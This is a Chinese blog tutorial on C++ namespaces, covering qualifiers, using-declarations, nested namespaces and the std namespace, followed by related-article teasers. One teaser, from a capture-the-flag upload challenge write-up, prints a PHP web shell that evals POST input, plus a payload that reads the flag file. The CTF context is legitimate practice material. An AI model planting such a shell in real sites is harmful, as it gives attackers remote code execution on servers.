C++从入门到实战(二)C++命名空间
C++从入门到实战(二)C++命名空间
- 前言
- 一、C++的第一个程序
- 二、命名空间
- (一)为什么需要命名空间
- (二)定义命名空间
- (三)使用命名空间
- 1.通过命名空间限定符:
- 2.使用 using 声明:
- 2.1展开命名空间
- 2.2使用 using namespace
- (四)嵌套命名空间
- (五)标准命名空间 std
前言
- 上一节我们介绍了 C++ 的历史,对这门强大编程语言的发展脉络有了清晰认识。这一节我们将围绕着 C++ 的第一个程序,深入探讨 C++ 的命名空间。理解命名空间对于我们编写大型、复杂且结构清晰的 C++ 程序至关重要。
一、C++的第一个程序
- 在 C++ 中,经典的第一个程序通常是 “Hello, World!” 程序。下面是该程序的代码示例:
#include <iostream>int main() {std::cout << "Hello, World!" << std::endl;return 0;
}
在这段代码中:
#include <iostream>是预处理指令,这个头文件提供了输入输出流的功能,比如 cout 用于输出。
std::cout << "Hello, World!" << std::endl;这行代码用于在控制台输出 “Hello, World!”。
std::cout是标准输出流对象,<< 是流插入运算符,
std::endl用于换行并刷新缓冲区
二、命名空间

(一)为什么需要命名空间
- 随着项目规模的扩大,代码中会定义大量的变量、函数和类等标识符。
- 不同的库或者模块可能会使用相同的标识符名称,这就会导致命名冲突。
- 例如,两个不同的库都定义了一个名为 print 的函数,如果同时使用这两个库,编译器就无法确定调用哪个 print 函数。
命名空间就是为了解决这个问题而引入的。
- 它可以将全局作用域划分为不同的逻辑区域,每个区域内的标识符相互独立,避免命名冲突。
(二)定义命名空间
- 在 C++ 中,可以使用 namespace 关键字来定义命名空间。例如:
namespace MyNamespace {int value = 10;void print() {std::cout << "This is in MyNamespace. Value is: " << value << std::endl;}
}
在上述代码中,定义了一个名为 MyNamespace 的命名空间,在这个命名空间内定义了一个变量 value 和一个函数 print。
(三)使用命名空间
1.通过命名空间限定符:
- 要使用命名空间内的成员,可以使用命名空间限定符 ::
#include <stdio.h>
#include <stdlib.h>
namespace bit
{int rand = 10;int Add(int left, int right){return left + right;}struct Node{struct Node* next;int val;};
}int main()
{printf("%d\n", bit::rand);
}
2.使用 using 声明:
- 可以使用 using 声明来引入命名空间中的特定成员。
- 也可以展开命名空间
2.1展开命名空间
- 如果将展开命名空间理解为让命名空间内所有成员都能像在全局作用域一样直接使用,那么using namespace语句更符合这一描述。
namespace MyNamespace {int value = 10;void print() {std::cout << "Value is: " << value << std::endl;}
}using namespace MyNamespace;int main() {print();std::cout << "Value: " << value << std::endl;return 0;
}
在这里,
using namespace MyNamespace;使得MyNamespace中的所有成员(value和print函数)都可以直接在main函数中使用,就好像它们是在全局作用域中定义的一样。
2.2使用 using namespace
namespace MyNamespace {int value = 10;void print() {std::cout << "Value is: " << value << std::endl;}
}using MyNamespace::print;int main() {print();// std::cout << "Value: " << value << std::endl; // 这行代码会报错,因为value未通过using声明引入return 0;
}
在这个例子中,using MyNamespace::print;仅引入了print函数,因此只能直接使用print函数,而不能直接使用MyNamespace中的value变量。这表明using声明并没有像展开命名空间那样,让所有成员都能直接使用,而是精确地引入指定成员。

(四)嵌套命名空间
- 命名空间可以嵌套定义:
namespace OuterNamespace {namespace InnerNamespace {int nestedValue = 20;void nestedPrint() {std::cout << "This is in InnerNamespace. Nested value is: " << nestedValue << std::endl;}}
}
- 使用嵌套命名空间内的成员时,需要使用多层命名空间限定符:
int main() {std::cout << "Nested value: " << OuterNamespace::InnerNamespace::nestedValue << std::endl;OuterNamespace::InnerNamespace::nestedPrint();return 0;
}
(五)标准命名空间 std
-
在 C++ 中,std 是标准命名空间。
-
几乎所有的标准库函数和类型都定义在这个命名空间内,比如前面提到的 cout、endl 等。
-
通常我们使用标准库时,会通过std::来限定,如 std::cout。
-
也可以使用 using 声明或 using namespace std; 来简化使用
全局使用 using namespace std; 要谨慎。
全局使用 using namespace std; 要谨慎。
全局使用 using namespace std; 要谨慎。
- 1. 命名冲突风险
C++ 标准库 std 包含大量的标识符,如类型(std::string、std::vector)、函数(std::cout、std::sort)和模板(std::map、std::unique_ptr)等。当在全局使用 using namespace std; 后,这些标识符都被引入到全局作用域。如果项目中也定义了与标准库同名的标识符,就会引发命名冲突。
- 2. 可读性降低
- 使用 using namespace std; 后,代码中直接使用标准库的标识符,无法直观地判断该标识符是来自标准库还是其他自定义命名空间。这对于阅读代码的人来说,尤其是对代码库不熟悉的人,增加了理解难度
相比之下,使用 std:: 前缀,如 std::vector numbers;,可以清晰地表明 vector 是标准库中的类型。
以上就是这篇博客的全部内容,下一篇我们将继续探索 C++ 的更多精彩内容。
| 非常感谢您的阅读,喜欢的话记得三连哦 |

相关文章:
C++从入门到实战(二)C++命名空间
C从入门到实战(二)C命名空间 前言一、C的第一个程序二、命名空间(一)为什么需要命名空间(二)定义命名空间(三)使用命名空间1.通过命名空间限定符:2.使用 using 声明&…...
C# OpenCV机器视觉:实现农作物病害检测
在酷热难耐的夏日,阳光似火舌般舔舐大地。阿强惬意地躺在老家院子摇椅上,哼着小曲,手边放着一碗冰镇西瓜,头顶大槐树宛如巨大遮阳伞,洒下斑驳阴凉。他本想趁假期回老家放松,远离城市喧嚣与代码 “纠缠”。 …...
开源软件协议介绍
一、可以闭源使用/不具传染性的协议 允许商业使用和分发 1、BSD:详细介绍 2、LGPL许可证:详细介绍 3、MPL2.0:详细介绍 二、具有传染性/使用后需要开源自身软件的协议 不建议商业使用 1、GPL许可证:详细介绍...
CLion开发Qt桌面
IDE:CLion Qt Qt版本:5.12 学习正点原子的嵌入式Linux开发板时,使用Qt Creator写代码不是很方便,遂尝试使用CLion搭建Qt开发环境。 一、CLion的Qt环境搭建 1,配置工具链 找到Qt的安装目录,此处为E:\Tools\…...
09_异步加载_单例模式_常量类配置_不可销毁
1.首先在 资源加载服务层ResSvc.cs中添加 自定义异步加载函数 using UnityEngine; using UnityEngine.SceneManagement; //异步加载 命名空间 //功能 : 资源加载服务 public class ResSvc : MonoBehaviour{public void InitSvc(){Debug.Log("Init ResSvc...");}//自定…...
士的宁(strychnine)的生物合成-文献精读104
Biosynthesis of strychnine 士的宁(strychnine) 又名 番木鳖碱 的生物合成 摘要 士的宁(番木鳖碱)是一种天然产物,通过分离、结构阐明和合成努力,塑造了有机化学领域。目前,士的宁因其强大的…...
【开源免费】基于Vue和SpringBoot的常规应急物资管理系统(附论文)
本文项目编号 T 159 ,文末自助获取源码 \color{red}{T159,文末自助获取源码} T159,文末自助获取源码 目录 一、系统介绍二、数据库设计三、配套教程3.1 启动教程3.2 讲解视频3.3 二次开发教程 四、功能截图五、文案资料5.1 选题背景5.2 国内…...
(Java版本)基于JAVA的网络通讯系统设计与实现-毕业设计
源码 论文 下载地址: cc基于JAVA的网络通讯系统设计与实现(源码系统论文)https://download.csdn.net/download/weixin_39682092/90299782https://download.csdn.net/download/weixin_39682092/90299782 第1章 绪论 1.1 课题选择的…...
ray.rllib 入门实践-2:配置算法
前言: ray.rllib的算法配置方式有多种,网上的不同教程各不相同,有的互不兼容,本文汇总罗列了多种算法配置方式,给出推荐,并在最后给出可运行代码。 四种配置方式 方法1 import os from ray.rllib.algori…...
2025-01学习笔记
1.SpEL 第一次知道它的全称 Spring Expression Language(SpEL) Value("${my.property}") private String myProperty; Value("#{2 * 3}") private int computedValue; 2.逃逸分析 逃逸分析:当一个对象在方法中被定…...
多线程执行大批量数据查询
// 创建一个固定大小的线程池ExecutorService executorService Executors.newFixedThreadPool(5);// 创建多个查询任务List<Callable<List<ShopCompareBase>>> tasks new ArrayList<>();//查询门店 切割,分成十份List<List<String>> sho…...
ChatGPT高效处理图片技巧使用详解
ChatGPT,作为OpenAI开发的预训练语言模型,主要用于生成自然语言文本的任务。然而,通过一些技巧和策略,我们可以将ChatGPT与图像处理模型结合,实现一定程度上的图像优化和处理。本文将详细介绍如何使用ChatGPT高效处理图…...
leetcode——相交链表(java)
给你两个单链表的头节点 headA 和 headB ,请你找出并返回两个单链表相交的起始节点。如果两个链表不存在相交节点,返回 null 。 图示两个链表在节点 c1 开始相交: 题目数据 保证 整个链式结构中不存在环。 注意,函数返回结果后&…...
RubyFPV开源代码之系统简介
RubyFPV开源代码之系统简介 1. 源由2. 工程架构3. 特性介绍(软件)3.1 特性亮点3.2 数字优势3.3 使用功能 4. DEMO推荐(硬件)4.1 天空端4.2 地面端4.3 按键硬件Raspberry PiRadxa 3W/E/C 5. 软件设计6. 参考资料 1. 源由 RubyFPV以…...
麦田物语学习笔记:创建TransitionManager控制人物场景切换
基本流程 制作场景之间的切换 1.代码思路 (1)为了实现不同场景切换,并且保持当前的persistentScene一直存在,则需要一个Manager去控制场景的加载和卸载,并且在加载每一个场景之后,都要将当前的场景Set Active Scene,保证其为激活的场景,在卸载的时候也可以方便调用当前激活的场…...
后端SpringBoot学习项目-用户管理-增删改查-service层
仓库地址 在初版代码中,已经实现了基础的增删改查。 但是,逻辑处理都放在Controller层中并没有分为Service层,所以,代码升级时候必须补充上去。 代码结构 升级后的代码结构有所变化。 --common 公共插件 --controller…...
机器学习11-学习路径推荐
机器学习11-学习路径推荐 本文希望摒除AI学习商业宣传要素,推荐一条极简的AI学习路线!推荐内容均为在线免费内容,如果有条件可以咨询专业的培训机构! 文章目录 机器学习11-学习路径推荐[toc] 1-AI培训路线第一阶段 Python-人工智能…...
[ACTF2020 新生赛]Upload1
题目 以为是前端验证,试了一下PHP传不上去 可以创建一个1.phtml文件。对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。将以下代码写入该文件中 <script languagephp>eval($_POST[md]);</script><script languagephp>system(cat /flag);&l…...
【PyTorch】0.初识:从吃货角度理解张量
0.初识张量 PyTorch 是一个 Python 深度学习框架,它将数据封装成张量(Tensor)来进行运算。PyTorch 中的张量就是元素为同一种数据类型的多维矩阵。在 PyTorch 中,张量以 "类" 的形式封装起来,对张量的一些运…...
医学图像分析工具09.1:Brainstorm安装教程
1. 安装前准备 **官方安装包和数据:**https://neuroimage.usc.edu/bst/download.php **官方安装教程:**https://neuroimage.usc.edu/brainstorm/Installation Matlab 版本要求: 有 Matlab: R2009b (7.9) 或更高版本没有 Matlab&…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中,时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志,到供应链系统的物流节点时间戳,时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库,其日期时间类型的…...
19c补丁后oracle属主变化,导致不能识别磁盘组
补丁后服务器重启,数据库再次无法启动 ORA01017: invalid username/password; logon denied Oracle 19c 在打上 19.23 或以上补丁版本后,存在与用户组权限相关的问题。具体表现为,Oracle 实例的运行用户(oracle)和集…...
Flask RESTful 示例
目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题: 下面创建一个简单的Flask RESTful API示例。首先,我们需要创建环境,安装必要的依赖,然后…...
K8S认证|CKS题库+答案| 11. AppArmor
目录 11. AppArmor 免费获取并激活 CKA_v1.31_模拟系统 题目 开始操作: 1)、切换集群 2)、切换节点 3)、切换到 apparmor 的目录 4)、执行 apparmor 策略模块 5)、修改 pod 文件 6)、…...
Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件
今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...
如何在看板中有效管理突发紧急任务
在看板中有效管理突发紧急任务需要:设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP(Work-in-Progress)弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中,设立专门的紧急任务通道尤为重要,这能…...
【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)
要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况,可以通过以下几种方式模拟或触发: 1. 增加CPU负载 运行大量计算密集型任务,例如: 使用多线程循环执行复杂计算(如数学运算、加密解密等)。运行图…...
vue3+vite项目中使用.env文件环境变量方法
vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量,这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...
08. C#入门系列【类的基本概念】:开启编程世界的奇妙冒险
C#入门系列【类的基本概念】:开启编程世界的奇妙冒险 嘿,各位编程小白探险家!欢迎来到 C# 的奇幻大陆!今天咱们要深入探索这片大陆上至关重要的 “建筑”—— 类!别害怕,跟着我,保准让你轻松搞…...
接口自动化测试:HttpRunner基础
相关文档 HttpRunner V3.x中文文档 HttpRunner 用户指南 使用HttpRunner 3.x实现接口自动化测试 HttpRunner介绍 HttpRunner 是一个开源的 API 测试工具,支持 HTTP(S)/HTTP2/WebSocket/RPC 等网络协议,涵盖接口测试、性能测试、数字体验监测等测试类型…...
